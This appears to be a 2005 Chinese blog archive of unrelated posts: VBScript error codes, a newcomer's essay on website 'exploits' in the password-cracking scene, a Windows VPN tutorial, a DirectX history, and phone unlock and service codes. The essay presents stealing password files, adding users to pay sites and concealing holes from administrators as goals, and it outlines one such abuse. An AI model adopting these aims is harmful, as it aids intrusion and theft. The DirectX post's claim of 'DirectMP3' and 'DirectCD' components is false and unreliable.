1040   无效 ‘for’ 循环控制变量
1013   无效数字
1037   无效使用关键字 ‘Me’
1038   ’loop’ 没有 ‘do’
1048   必须在一个类的内部定义
1042   必须为行的第一个语句
1041   名称重定义
1051   参数数目必须与属性说明一致
1001   内存不足
1054   Property Let 或 Set 至少应该有一个参数
1002   语法错误
1055   不需要的 ‘Next’
1015   未终止字符串常数

2005年07月28日

如果你刚刚学会穷举暴破,一定经常感到奇怪,为什么有些破解者发布的密码就是他的名字?为什么有些破解者能够发布某个网站的一大堆密码?而当你逐渐熟悉暴力破解之后,也自然会经常碰到这个问题,那就是--exploit
  到底什么是exploit呀?谁能给我一些exploit list?这个exploit怎么利用呀?……诸如此类的问题随处可见。诚然,exploit是所有破解者追求的更高境界。能够通过exploit获得网站的大把密码,甚至添加具有个人特征的自定义密码,确实是令人羡慕的技巧。但是,如果你公开提出有关exploit的问题,并不会得到实质性的解答。于是大家开始抱怨,高手们怎么那么吝啬呀,公开一些小秘密又不会身上少块肉,干嘛把那些宝贝藏着掖着不肯泄露一丝一毫。有这些疑问和抱怨也很正常,说明你对exploit的概念和特点还不是很清楚。
  其实我也不会exploit,顶多算是刚刚沾边而已。之所以斗胆献丑,把自己对于exploit的理解写下来,目的是让新手们对exploit有个基本的认识,并且知道正确的努力方向,不再盲目提出那些让高手无法回答的问题而又四处抱怨没人教你。


什么是exploit
  exploit字面上的意思是开拓、开发,而在破解圈子里面,公认的概念可能是漏洞及其利用。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站的最终目的。对于cracker来说,能够得到密码档或者添加用户就足够了。而对于hacker来说,控制整个网站才是目的。
  现在大家应该有些概念了吧。不管你用什么方法、什么工具,只要能够发现网站的漏洞,实现获取密码档、添加用户、控制网站的目标之一,那么你所做的就是exploit
  那么漏洞又是什么东西呢?我们应该知道,所谓网站,不过是由放在服务器上的很多相关程序及文件所组成的。既然是人编写的程序,就不会是无懈可击的,再优秀的程序都会有这样那样的缺陷,否则人们就不需要没完没了的更新升级程序了。而网站的漏洞,可能是组成网站的程序本身的缺陷造成的,也可能是程序之间的配置缺陷而造成的,还有就是网站设计上的缺陷。


关于exploit list
  exploit list就是一个已知漏洞的列表。
  网络上有很多公开的漏洞资料,如果你上google用不同的关键词搜索,就会找到很多这样的东西。
  一些扫描软件本身也附带漏洞列表。AD自带的exploit list一直就是345个,从来没有增加过。CMXploiter1.2版本自带3Klist,而新版本CMXploiterIV虽然功能大大丰富,却没有了自带的listPassCraft3.0中的exploit功能还自带200Klist,但是新版本的软件虽然将exploit功能独立出来,却同样没有了自带的list。可以看出来,这可能是一种趋势,为了保护已知的漏洞,很多流行的扫描软件不会再有自带的exploit list,至少不会再更新它的exploit list
  现成的exploit list不会那么容易得到,别指望谁把这些东西拿出来共享。即使有这样的东西,里面恐怕也没有多少值钱的玩艺儿。只有自己不断努力,收集、整理相关资料,一点一点的丰富自己的漏洞列表。
  有很多新手羡慕别人有一个庞大的漏洞列表,其实那样的列表即使给你,也未必对你有多大帮助。我们扫描漏洞的最终目的是要利用漏洞,如果你费了半天工夫,扫出一堆所谓的漏洞,可你却根本不懂如何去利用它们,那不是浪费时间么。所以,对于新手来说,用较小的漏洞列表扫描自己会利用的漏洞,可能是一种省时省力的办法。


exploit的基本过程--扫描、分析、利用
  exploit的第一步,就是对目标网站进行扫描。可以用我们已知的漏洞列表进行扫描,看看对方有没有我们列表中的漏洞。也可以用一些专门的软件,扫描目标的其它相关信息,包括网站使用的操作系统版本、提供的服务以及开放的端口,等等。没有什么最好的扫描工具,每种扫描工具都有它的优点和缺点,能够扫出的东西也不一样。所以,你需要掌握尽可能多的扫描工具,根据不同的目标、不同的目的,选择合适的扫描工具。
  exploit的第二步,就是对扫描获得的信息进行分析研究,从而找出漏洞所在以及利用的方法。这是最困难的过程,也是对你的相关知识的考验。我们扫描获得的信息可能是多种多样的,不同的信息需要不同的知识来分析。
  exploit的第三步,如果我们通过分析已经找到漏洞以及利用的方法,就可以选用相应的工具,完成我们的最终目的--拿到密码档、添加用户、获得管理员权限,等等。


exploit需要哪些相关知识
  简单说,你想利用什么样的漏洞,就需要什么样的知识。反之,你拥有什么样的知识,也就能够利用什么样的漏洞。
  现今,大部分网站都采用unix做为操作系统,如果你只会玩windows,那就熄火了。我们需要学习unix系统的理论,至少要学会基本的unix指令。如果条件允许,最好在自己的电脑上安装一套unixLinux)系统,这样学习起来会更直观、更有效。当然,安装unix系统并不是一件容易事情,建议新手先去一些相关网站和论坛,仔细浏览有关unix系统的安装使用方法以及常见问题,在充分了解相关知识的前提下,再去尝试安装。否则,弄坏了你的windows系统,可不要怪老黑没有提醒你。
  不同的网站可能会选择不同的unix版本。不仅如此,你还要了解网站的构成元素,比如phpsql等等相关知识。另外,可能有些网站采用其它特殊的系统例如Zeus什么的,如果你想要搞它,就要先学习它。
  cgi脚本是比较常见的漏洞,我们需要了解它是做什么用的以及运行的原理,还要想办法得到cgi脚本的源代码进行分析研究。因为目前大部分的cgi程序都是用perl语言编写的,所以你还要学习perl的相关知识。cgicracker最常利用的漏洞,虽然很难获得网站的管理员权限,但是想要找到密码档和添加用户还是比较容易的。
  缓存溢出也许是高级一点的exploit(这是hacker的常用手段之一),当然你必须了解如何造成缓存溢出并且会分析溢出的数据,从中找到可以利用的漏洞。
  还有telnetDdos什么的攻击方法,我是一无所知。
  呵呵,我也就知道这些。当然还有很多高级的exploit方法,那就要看你掌握多少知识了。
  综上所述,我们需要学习的基础知识包括unix系统和常用指令、cgi脚本代码、perl语言、C++语言以及其它编程语言。呵呵,想要掌握这些基础知识并不是一件容易的事情。当然,即使你没有这些相关的理论知识,也可以从朋友那里获得一些漏洞以及利用方法。但是,如果你想搞出属于自己的东西,就必须有这些理论基础。


为什么exploit不宜于公开
  我想举个真实的例子来说明。
  曾经有一个ibillpm的漏洞,我们只需要在join页面查看源文件找出网站的ID,再用一个软件暴破出校验码,也就是real master account,就可以利用这个漏洞添加自定义用户。有关这个漏洞的利用方法曾经公开发表过,于是,很多人利用这个漏洞疯狂添加用户,更有甚者还宣称只要跟他的帖就替回应者添加个人密码。结果可想而知,这个漏洞很快就被网站修补了。现在,你几乎再也无法找到这种可以轻易利用的漏洞,不但ibillpm这个文件有了很多变种,而且real master account也不再是简单的校验码。
  这个例子再次证明了,公开漏洞就等于屠杀漏洞!
  找到系统漏洞并不是一件容易的事情,也许比盲目暴破要困难的多,因为你必须学习和掌握更多的相关知识。而一旦公开漏洞和利用方法,便会有很多人去利用这个漏洞做各种事情,这样很快就会被对方网管发现,如果网管修补了漏洞,那么你曾经花费的很多心血就付诸东流了。如果你也花费精力去找到一些漏洞并研究出利用方法,你就能够体会到,那是你的智慧和汗水的结晶。假如因为公开这些漏洞而导致它们失效,你同样也会品尝到那种丢失宝贝的滋味。
  至此你应该明白,在公开的讨论区见不到有关exploit的资料,提出问题也没有人搭理,这是很正常的事情。保护已知的漏洞,是每一个破解者不可推卸的责任。高手们不肯解答你的疑问,不管是出于保护漏洞的责任还是出于自私的心理,都是无可厚非的!


如何交流exploit
  难到真的无法交流exploit么?也不是这样,很多破解论坛都有加密或隐藏的版块,就是专门给那些具有一定exploit基础的人互相交流的。当然,如果你不会exploit,可能没有资格进入那些专用版块(管理员除外哦)。
  现在你应该明白了吧。提高exploit技术的唯一途径就是先自学相关知识,等具有一定的能力,就有可能获准进入那些论坛的专用版块,和更多的朋友交流更多的信息。
  当然,你也可以和好朋友私下交流,从朋友那里得到帮助。不过,你同样需要具有一定的基础,否则,即使朋友们想帮也帮不了你。


还想罗嗦几句
  如果有一些专业基础,学习exploit还相对容易一些。如果没有一点基础,想要学习exploit是非常困难的。至于有多么困难,等你钻进去就知道了。如果你不是天才,那就不要打算一边玩游戏泡MM一边学习exploit

2005年07月27日

 

一、问题的提出

如图1所示,在单位有个私有地址为192.168.0.0的网络,各电脑是通过ADSL共享方式接入Internet,在家中有台电脑也通过ADSL访问Internet,现在想在家中随时安全地访问单位192.168.0.2这台机器,实现方法很多,最为安全的是通过VPN。

二、什么是VPN

以本例来说就是现在单位192.168.0.2这台机器上设置好VPN服务,在家中通过VPN客户端访问单位这台机器,建立连接后,这两台机器通信时就像在局域网中一样,比如:要在192.168.1.10这台电脑中下载192.168.0.2这台机器的文件(假设该机已设好FTP服务),可以直接在浏览器中键入:ftp://192.168.0.2下载文件了。虽然是通过Internet进行通信,但整个过程都是加密的,就像是在Internet中穿了一条只有两台机器才能通过的隧道,这就是VPN( Virtual Private Networks )虚拟专用网。

图1

三、实现方式
在VPN远程连接之前要做好两个准备。
第一要获得VPN服务器接入Internet的公共IP地址,如果是分配的静态IP,那就简单了,如果是动态IP,那必须在远程能随时获得这个IP地址,本例如图1,192.168.0.2这台机器的公网IP实际上就是ADSL猫接入Internet时,是ISP给自动分配的,且一般被分配到的是动态IP。 第二要做个端口映射,从图1的拓扑可以看出,本例是通作在ADSL猫中通过NAT转,接入Internet的,通过这种方式一定要在ADSL中作端口映射,由于windows 2003的VNP服务用的是1723端口,所以如图a,将1723端口映射到192.168.0.2这台设有VPN服务的机器。如果用的是直接拨号,那在防火墙中将这个端口放开就行了。

图a

1、登陆www.oray.net注册网域护照,在护照底下申请域名(网域科技提供了免费域名注册),激活域名对应的花生壳服务,下载花生壳客户端,在局域网内PC或服务器主机上安装花生壳客户端登陆在线,或是在集成花生壳动态域名解析服务的路由器上把护照名和密码填在路由器DDNS模块里并启用在线。
2、在相应的电脑上安装设置好VPN服务。

四、设置VPN服务

实现VPN的方式非常多,用带VPN功能的路由器或用Linux、windows操作系统等,在windows系统下用双网卡建立VPN服务器更容易实现、但要增加一块网卡。介绍这方面的内容很多,不再赘述。本文介绍的是在windows 2003中用单网卡来实现。下面介绍实际实现过程,首先是在192.168.0.2这台机器上配置VPN服务。

选择"开始"’"所有程序"’"管理工具"’"路由和远程访问"。

设置过程如图2至图9所示,出现图10界面就完成了单网的VPN服务器端的设置,这里特别指出的是用单网卡一定要在图6处选择"自定义配置",否则就进行不下去了。

图2

图3

图4

图5

图6

图7

图8

图9

图10


五、从客户端连接到VPN服务器

1、新建有拨入权限的用户

要登录到VPN服务器,必须要知道该服务器的一个有拨入权限的用户,为了讲得更明白,下面在该VPN服务器上新建个用户并赋予该用户拨入的权限,过程如图11至图12是建立一个用户,图13是给这个用户远程登录的权限,一定要在"远程访问权限"处选择"允许访问",不然就无法登录了。

图11

图12

图13

图14

2、在本机测试连接

在远程连接到VPN服务器之前,最好先在VPN服务器的本机测试一下,测试过程如下:

鼠标右键"网上邻居",如图14,点击"新建连接向导",按图15至图21的步骤建立连接,因为现在做的是本机的测试,所以其中图18中的IP地址为本机的地址,图21中的用户dzq就是我们刚才新建的用户。出现图22的连接图标表示连接成功。这样就可以进行远程连接测试了。如果此时用ipconfig /all看网卡状态,就会看见三个网卡,其中一个IP地址为192.168.0.2的就是本机网卡,另外两个是刚才做本机测试时建立的,它们的IP地址为169.x.xx . xxx .. xxx,这是VPN默认的IP地址,是正常的,不用管它。

图15

图16

图17

图18

图19

图20

图21

图22

图23

3、远程连接

上面的服务器中的测试完成后,就可以在家中进行远程连接了,其过程和在本机连接测试的过程一样,如图14至图21所示,在实际连接时到图18这一步时,输入VPN服务器所在的公网IP或是激活了花生壳动态域名解析服务的域名就行了。
实际应用中我是按照图1的拓扑连接的,连接很顺利,但遇到一个问题,在家通过VPN连入单位的机器后,和单位的机器通信完全正常,但不能正常上网。用route print检查路由(如表1所示)发现有两个到目标0.0.0.0的路由,网关一个是本来的网关192.168.1.1,一个是建立VPN后的网关169.254.101.219,这样在访问Internet网络时就有问题了。

C:\>route print
。。。。。。。
Active Routes:
Network Destination Netmask Gateway Interface Metric
0.0.0.0 0.0.0.0 169.254.101.219 169.254.101.219 1
0.0.0.0 0.0.0.0 192.168.1.1 192.168.1.10 2
61.55.13.163 255.255.255.255 192.168.1.1 192.168.1.10 1
127.0.0.0 255.0.0.0 127.0.0.1 127.0.0.1 1
169.254.101.219 255.255.255.255 127.0.0.1 127.0.0.1 50
169.254.255.255 255.255.255.255 169.254.101.219 169.254.101.219 50
192.168.1.0 255.255.255.0 192.168.1.10 192.168.1.10 20
192.168.1.10 255.255.255.255 127.0.0.1 127.0.0.1 20
192.168.1.255 255.255.255.255 192.168.1.10 192.168.1.10 20
224.0.0.0 240.0.0.0 192.168.1.10 192.168.1.10 20
224.0.0.0 240.0.0.0 169.254.101.219 169.254.101.219 1
255.255.255.255 255.255.255.255 192.168.1.10 192.168.1.10 1
Default Gateway: 169.254.101.219
===========================================================================
Persistent Routes:
None

解决的办法:
删除接入VPN后的路由,命令如下所示:
C:\>route delete 0.0.0.0 mask 0.0.0.0 169.254.101.219
加一条指向VPN服务器所在网络的路由,本例(如图1)VPN服务器的地址为192.168.0.2,所以只要将到192.168.0.0这个网络的指向VPN的地址169.254.101.219就行了。
C:\>route add 192.168.0.0 mask 255.255.255.0 169.254.101.219

4、几点说明

1)、建立完VPN连接后,两台电脑的VPN的IP地址都是169.0.0.0中的地址,好像不能修改,但这并不影响使用,如图1建立连接后,在192.168.1.10这台电脑中ping 192.168.0.2是通的,也就是说要访问这台机器的资源,只要用192.168.0.2这个地址就行了。就像在局域网中一样。
2)、做为VPN服务器的这台机器的安全设置,如果没有特殊需要很多服务完全可以限制在局域网内,例如FTP服务只允许192.168.0.0网内的电脑访问。这样只要把VPN的安全做好就行了。换句话说,以本例来说,192.168.0.2这台机器访问Internet时是通过NAT地址转换,如果在ADSL猫中不做端口映射,从Internet的其它电脑上是看不到这台机器的,本例只做了VPN服务的1723端口的映射,虽然本机开了很多的服务,开放了很多端口,但这些都是对局域网开放的,要想从Internet访问这台机器,只有先建立了VPN才能访问其它的资源。只做一个服务的安全总比做许多服务的安全要容易些。VPN服务器有许多安全设置,以后再探讨。
3)、建立完VPN连接后,可以通过WWW、FTP互相访问,也可通过终端服务等登录到这台机器上,进而访问局域网中的其它电脑。图24就是192.168.1.10在建立完VPN后直接利用远程桌面连接,登录到192.168.0.2的机器上的登录界面。

图24

2005年07月19日

DirectX是什么?DirectX是一个用于多媒体应用程序和硬件增强的编程环境,它是微软为了将其Windwos建设成适应各种多媒体的最好平台而开发设计的。DirectX目前已经成为微软自身SDK的一部分,Windows98、Me、2K、XP、2003内都集成了DirectX,表明它已经成为了操作系统的一部分。
    从字面意思上看,DirectX并不难理解。Direct是直接的意思,X则是很多的东西,加在一起就是一组具有共性的东西,这个共性就是“直接”。它是一个API,即“应用程序接口”。它是一座桥梁,连接硬件、程序员和软件用户的桥梁。每个DirectX部件都是用户可调用的API的总和。通过它应用程序可以直接访问计算机硬件。这样,应用程序就可以利用硬件加速器。如果硬件加速器不能使用,DirectX还可以仿真加速器提供强大的多媒体环境。
    为了理解DirectX,我们可以把系统分为四层:

    硬件/网络层:放置有多媒体设备,包括显卡、声卡、输入设备以及网络通信设备等。
    DirectX基础层:为图像、声音和设备提供多媒体基本服务。
    DirectX媒体层:为动画制作、音频和视频等提供API功能。
    组件层:包括ActiveX控制和应用,它利用DirectX的API功能的优势为用户提供多媒体服务。

    微软开发了DirectX标准平台,并且与硬件制造厂商和游戏开发商合作,共同更新升级DirectX的标准。硬件制造上按照此标准研发制造更好的产品。游戏程序员根据这套标准开发游戏。也就是说,无论硬件是否支持某种特殊效果,只要DirectX标准中有,写游戏的程序员就可以把它写到游戏中去。当这个游戏在硬件中运行,如果该硬件已经根据DirectX标准把这个效果做到了驱动程序中,那么驱动程序就能够驾驭硬件运算出相应的效果。这就是“硬件设备无关性”,也是DirectX的真正意义算在。
    在DirectX出现之前,硬件制造商设计一个全新的多媒体产品后, 必须考虑到它可以搭配其他的硬件设备一起使用,所以在编写驱动程序的时候就要对市面上林林总总的各式硬件产品进行全面的汇总调查,然后再将这些硬件特性与自己的产品融合到一起,因此编写一个驱动程序非常麻烦,而且没准在使用的时候还会出现硬件不兼容的情况。但是DirectX的出现就彻底改变了这一局面,因为它拥有一个HAL(硬件提取层)功能,简单的说就是可以直接让游戏、软件程序和硬件来进行数据传输,从而改变了硬件之间兼容性的问题。

DirectX的起源与发展
1、DirectX的起源
    DirectX的创意并非来自bill gates,它最初是微软的工程师为了方便玩游戏而编制的程序,但bill gates却敏锐地捕捉到了DirectX的发展前景,并果断地投入了巨大的财力进行研发。这终将Windows早就成为有史以来最有生命力的游戏平台。
    DirectX与IE一样被捆绑在Windows系统中,却有着截然不同的命运。后者命运多难,常常官司缠身,甚至差点被扫地出门,前者则一路过关斩将,先灭了风头正旺的glide,后又将老牌的OpenGL甩在身后,大有一呼百应之势。
2、DirecrX的发展
    自Windows95以后,微软的各个Windows操作系统都自带了DirectX。以下是各个系统和自带的DirectX。
    Windows95——DirectX2.0
    WindowsNT4.0——DirectX3.0a
    Windows98第一版——DirectX5.0
    Windows98SE——DirectX6.1a
    WindowsMe——没注意过…….
    Windows2000——DirectX7.0
    WindowsXP——DirectX8.1
    Windows2003——DirectX8.1
    微软的DirectX随着全世界PC飘荡着的“Windows”旗帜逐渐统治了整个3D游戏世界。
    DirectX与游戏始终是密不可分的,《红警》在成为即时战略类游戏的经典时,也把DirectX2.0带到了我们的身边。它最大的改善是在Direct Draw。负责2D绘图的Direct Draw发展到了DirectX3.0就到了极致,在跳过DirectX4.0之后,DirectX的重心开支转向Direct3D。

DirectX6.0:让NVIDIA初成霸业
    在DirectX5.0发布不久第二代3D显卡问世了,这一代3D显卡借助Direct6.0的技术争得不可开交。这一代的显卡主要有:NVIDIA的Riva TNT,3dfx的Voodoo2、Voodoo3。到了这个时代,市场格局已经很清晰,是NV与3dfx的斗争。DirectX6.0的3D效果更多了,而且借助硬件的强大性能,可以渲染出高分辨率下的32bit色的3D效果,这一点让采用PCI总线技术的Voodoo系列败下阵来,它只能支持800*600下的16bit色渲染,尽管它的800*600*16效果比1024*768*32的效果还要好,但没有被业界承认。DirectX开始把3dfx送进坟墓。NV借机奠定了显卡老大的基础。

DirectX7:开始支持T&L
    DirectX7又一次把显卡市场进行重新整合。DirectX7最大的特色就是支持T&L(坐标转换和光源),这项功能为解决显卡GPU和CPU之争起着关键作用。3D游戏中的任何一个物体都有一个坐标,当物体运动时,它的坐标发生变化,这里指的就是坐标转换,3D游戏中除了物体+场景还需要灯光,没有灯光就没有3D物体的表现,无论是实时3D游戏还是3D影像渲染,加上灯光的3D渲染是最消耗资源的。在T&L问世之前,位置转换和灯光都需要CPU来计算,CPU速度越快,游戏表现越流畅。在使用了T&L功能后,这两种效果的计算用显卡的GPU来计算,这样就可以把CPU从繁重的劳动中解脱出来,让CPU做它该做的事情,如:数据计算,逻辑计算等等。换句话说,拥有T&L的显卡,使用DirectX7,即使没有高速CPU,同样能流畅运行3D游戏。T&L成为当时人们关注的焦点。第一个支持T&L的显卡是NV的GF 256,正是它第一次引入GPU的概念。

DirectX8:“可编程”引擎的出现
    2000年11月9日,微软发布的DirectX8.0对GPU运算进行了大刀阔斧的改革,特别是3D渲染流水线和以前的Direct3D以及DirectDraw单元。Direct Graphics的一个最显著的变化是将DirectDraw和Direct3D合并为一个公共接口。Direct3D和DirectDraw实际是两个DLL函数,DirectDraw负责显卡的2D运算,而Direct3D则负责3D场景运算。在DirectX7下,DirectDraw和Direct3D一直相互交叉,因此,将他们划分为两个独立的接口越来越不适应发展。新的集成简化了Direct3D核心的初始化和控制,使使这些操作更加简单。这种变化不仅简化了应用程序的初始化,而且改进了数据分配和管理的性能,从而减少了内存的占用。合并接口的另一个原因是DirectDraw的开发几乎完全停止了,在DirectX6和DirectX7中对它所做的修改仅仅是稍作美化。
    DirectX8在传统3D图形处理流水线中的两个地方进行了改进,增加了“可编程”特性:CPU顶点数据→Vertex Shader、T&L引擎→裁减/三角形设置/光栅化→Pixel Shader、多纹理混合处理→雾混合→透明度/模板和深度测试→帧缓冲。
    上面就是DirectX8可编程3D图形处理流水线的简单描述。与过去的处理方式相比,DirectX8对两个部分进行了改进:一个可编程的Vertex Shader代替了过去的几何变换和光源处理引擎;而可编程的Pixel Shader则加入了过去的纹理处理流水线。
    DirectX8.1可以说是DirectX8的升级版,它进一步升级了VS、PS的版本,Pixel Shader由1.0升到了1.4。
    在DirectX8游戏大量上市以前,3DMark2001率先为我们展示了DirectX8带来的令人瞪目结舌的画面效果,也借机奠定了它在D3D测试领域的权威地位。DirectX8硬件则依然由NV的GF3 GF4主宰,但ATi凭借着R8500成为唯一能与NV抗衡的力量。

DirectX9
    A.U.V,我是实在写不下去了,累死了……..简单的把DIrectX9的特性写出来,让大家和DirectX8对比一下吧。
__________________________________________________________________
|                  |               |               |               |
|     版  本       |  DirectX 8.0  |  DirectX 8.1  |  DirectX 9.0  |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    高维曲面      |     支持      |     支持      |     支持      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    n-patches     |     支持      |     支持      |     支持      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|  连 续 性 镶 嵌  |    不支持     |    不支持     |    不支持     |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    位移贴图      |    不支持     |    不支持     |     支持      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|  Vertex Shader   |      1.1      |      1.1      |     2.0       | |__________________|_______________|_______________|_______________|
|                  |               |               |               |
|  最大指令数目    |      128      |      128      |     1024      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|  最大常数数目    |      96       |      96       |      256      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    流程控制      |    不支持     |    不支持     |    不支持     |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|  Pixel Shader    |      1.1      |      1.4      |      2.0      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    材质数目      |       4       |       6       |       16      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
| 最大材质指令数目 |       4       |       8       |       32      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
| 最大色彩指令数目 |       8       |       8       |       64      |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    数据类型      |     整数      |      整数     |     浮点数    |
|__________________|_______________|_______________|_______________|
|                  |               |               |               |
|    数据精度      |      32       |       48      |      128      |
|__________________|_______________|_______________|_______________|

    另外,在音频方面DirectX9加入了DirectMP3、DirectCD两个新的功能单元。DirectMP3单元,支持MP3文件或者音频流的直接调用和解码回放,无需通过Windows API界面调用专门的MP3播放程序。DirectCD单元,支持CD音频在各种情况下直接调用和进行混音回放,无需通过Windows API界面,DirectCD将使CD音频和DirectX9及其调用程序更好的结合在一起。

术语解释:
    凹凸贴图(Bump Map):凹凸贴图是一种在3D场景中模拟粗糙外表面的技术,它将深度的变化保存到一张贴图中,然后再对3D模型进行标准的混合贴图处理,即可方便的得到具有凹凸感的表面效果,使得编程工作更加轻松高效。

    硬件位移贴图(Hardware Displacement Mapping)是Matrox研发的技术,被微软整合进了DirectX9,成为一个业界标准。硬件位移贴图是一种强劲而简单的3D物体实时计算的新方法,用以演绎和绘制复杂的3D几何图形。深度适配顶点镶嵌和顶点文理技术,加上重组基础网面与位移贴图,可以营造一个非常真实的3D图形。位移贴图有两种类型,采样和预先图像。这两种方法是不同的。预先图像法正如其名,它的主要优势是图像是预先计算好的。这种方法速度很快,但是也有缺点。最大的缺点是无法和自适应镶嵌化和LOD同时工作。所以,我们不太可能在大的物体上看到预先图像位移贴图,例如地形,建筑物等。

    API:Application Programming Interface即Windows应用程序编程接口,它由一系列的函数构成,这些函数是微软公司为了方便基于Windows平台上的开发而编写出来的,我们可以通过直接调用这些函数来执行一系列的操作。

2005年07月14日

解话机锁:*2767*2878#/*2767*7377#
  三星码片复位:*2767*3855# 也可用于解机锁或卡锁
  三星显温度、电池容量:*#0228#
  三星调显示屏对比度:*#0523#
  三星软件版本:*#9999#
  三星A100-A188看版本:*#0837#
  摩托罗拉T2688解所有锁:19980722
  T2688/2988/988d没有中文:*#0000# OK(插卡)
  摩托罗拉所有机锁:按MENU+5+1/2
  西门子恢复出厂设置:*#9999#
  西门子乱文回中文:*#0000#/*#0086#
  西门子软件版本:*#06# 左键
  爱立信老机回英语:*#0000#
  爱立信新机回英语:按CLR-左键-0000-右键
  爱立信显出厂日期:右、*、左、左、*、左、*键
  诺基亚显出厂日期:*#0000#(插卡)
  诺基亚省30%电:*#746025625#
  飞利浦强迫重连网:*#2562*#
  飞利浦显示和更改手机密码:*#7489*#
  博世(BOSCH)909S回中文:*#0852#
  博世(BOSCH)909s回英文:*#0851#
  NEC显软件版本:*#2820#
  NEC恢复原厂设置:*#73738#
  波导s1000隐藏功能:*#*#1705#
  波导s1000解锁:*#*#1705#46(也用于999D,720)
  如死机再用—24681357(或直接就用它解)
  波导8xx/9xx系列:*#+串号7-14位#
  SIM卡 波导串号最后9位去掉最后一位
  阿尔卡特OT221/220解锁:25228352/ALCATEL+D
  阿尔卡特OT301/302解锁:83227423
  阿尔卡特OT500/700解锁:25228352
  康佳:*#0001# *#1001# ##1001#
  康佳小雪5219:#8879576# 原始:1234
  GVC:*#1001* (海尔)
  南方高科320开机键入##1001#,然后装上卡输入0000 OK
  三菱NET LOCK:*787090或*787292
  三菱IMSI LOCK:*362628或*360608
  三菱NETSUB LOCK:*476989
  三菱CP LOCK:*482896或*480896
  三菱SP LOCK:*967678
  三菱EXT LOCK:*574243
  
  飞利浦手机通用秘技
  手机在待机状态下时,请输入以下按键组合:
  *#06# 查看IME串码
  *#2254*#显示状况行
  *#2255*#开启或关闭(DEBUG CALL)模式
  *#2558*#显示通话时间
  *#2562*#强迫重新连接网络系统
  *#7489*#显示和更改手机密码
  *#7378*#显示一些SIM卡信息,例如相位(phaselevel)
  *#3377*#读取SIM卡信息,初始化和标示
  *#7693*#开启或关闭睡眠模式
  *#8463*#读取睡眠模式信息
  *#337*# EFR模式开/关
  *#4764*#单频/双频设置(切换单频GSM900)
  *#4765*#单频/双频设置(切换单频GSM1800)
  *#4762*#单频/双频设置(切换成双频模式)
  
  阿尔卡特(ALCATEL)测试键
   在待机状态下,输入“000000*”可监测网络状况,包括信号强度和使用中的频道等。
  
  NEC DB2000手机秘技 在待机时输入以下按键:
  “*#2820#”,再按通话键,可显示手机的软件版本。
  “*73738#”,再按通话键,可将回到手机出厂状态。
  
  三星早期版本的手机,可以输入以下的指令各种进入测试状态:
    按键代码   测试功能/名称
    *#9999# 显示手机软件版本号
    *2767*2878# 话机当前设定复位(手机解锁)
    *2767*3855# 话机EEPROM总复位(修复软件故障)
    *#9998*228# 电池参数读取
    *#9998*289# 振铃信号频率测试
    *#9998*246# 程序参数显示
    *#9998*364# WATCHDOG信号测试
    *#9998*377# EEPROM错误显示
    *#9998*427# WATCHDOG信号路径设置
    *9998*523# 液晶显示对比度调整
    *9998*636# 存贮状态显示
    *9998*786# 当前日期、时间读取
    *9998*842# 振子振动测试
    *9998*947# 在重大错误下复位设置
    *9998*9266# 显示收信通道号及收信强度
  三星新版手机(从三星600新版开始)所支持的测试指令减少了很多,基本上就只余下以下几个可以成

功的:
   *2767*2878#(EEPROM复位)
    *2767*3855#(EEPROM总复位,IMEI有可能会变成初始码)
    *#9999#(查版本)
    *#0523#(调LCD对比度)
    *2767*7377# (解手机密码的复位指令)
    尤其是*#0523#的输入,有些型号的手机要插卡,有些不用。另外,如出现一次输入成功,而再输

入失败的情况,是由于手机软件上的记忆效应,你可以将手机的电池卸下重装上再试输入(例如:

*2767*3855# 指令输入后,有时不重装电池,手机是不能开机的)。
  三星SGH-N288手机测试指令
  *#0001# 显示RS232串行通信参数
  *#0228# 显示电池容量、电压和温度
  *#0246# 程序参数显示
  *#0324# 网络检测(工程模式)
  *#0364# 显示Watchdog状态,可以修改
  *#0377# EEPROM错误显示
  *#0427# WATCHDOG信号路径设置
  *#0523# 调节对比度,谨慎修改;
  *#0636# 存储器容量显示
  *#0746# SIM卡文件规格测试
  *#0778# SIM卡信息
  *#0786# 显示内容为本次开机的时间及本次开机后到当前的时间长。按->后显示最新的本次开机后到当

前的时间长;再按->后显示上一次的开机时间;再按->后显示上一次的关机时间以及上次开关机的时长。
  *#0837# 显示详细的软件版本
  *#0842# 振动测试
  *#0947# 在重大错误情况下复位设置指令
  *#9999# 显示软件版本
  *2767*2878# EEPROM复位,手机设定总清除,可用于解锁
  *2767*3855# 从字库中取出程序重置EEPROM为出厂值。对修改过IMEI码的手机,用此指令可恢复原出厂

机身号码。此指令还用于因EEPROM(码片)内程序紊乱造成的各种故障。
  
  西门子中文机秘籍大公开
  输入[*#06#],可看IMEI(International Mobile Equipment Identity)码。
  输入[*#06#]+[左软键],可看软件版本号。 以上不需插入SIM卡也可操作。
  输入[*#0000#]+[发射键],改成预设语言显示(英语?)。
  输入[*#0001#]+[发射键],改成英文显示。
  输入[*#0086#]+[发射键],改成简体中文显示。
  输入[*#0886#]+[发射键],改成繁体中文显示。
  快速键
  长按[*],开启或关闭铃声。
  长按[#],开启或关闭键盘锁。
  长按[左侧上键],开启情景模式设置。
  长按[左侧下键],开启语拨号。
  短按[右侧录音键],播放已录下的音,可在任何时候播放,包括通话期间,通话双方都听到。
  长按[右侧录音键],开始录音,直到放开,或20秒已到。
  当使用键盘锁時,可长按[挂断键]來暂时开启夜光照明。
  连按两下[电话簿]可进入VIP电话簿。
  [1]+[发射键]可进入语音信箱(需在[菜单→短消息→语音信箱]设置语音信箱服务号码)。
  [0]+[左软键]可切換1号2号线路(好象大部分地区不支持,包括珠海)。
  [数字键]+[#]可显示出儲存在SIM卡该位置的电话簿名称(前提是至少在SIM卡储存一个电话)。
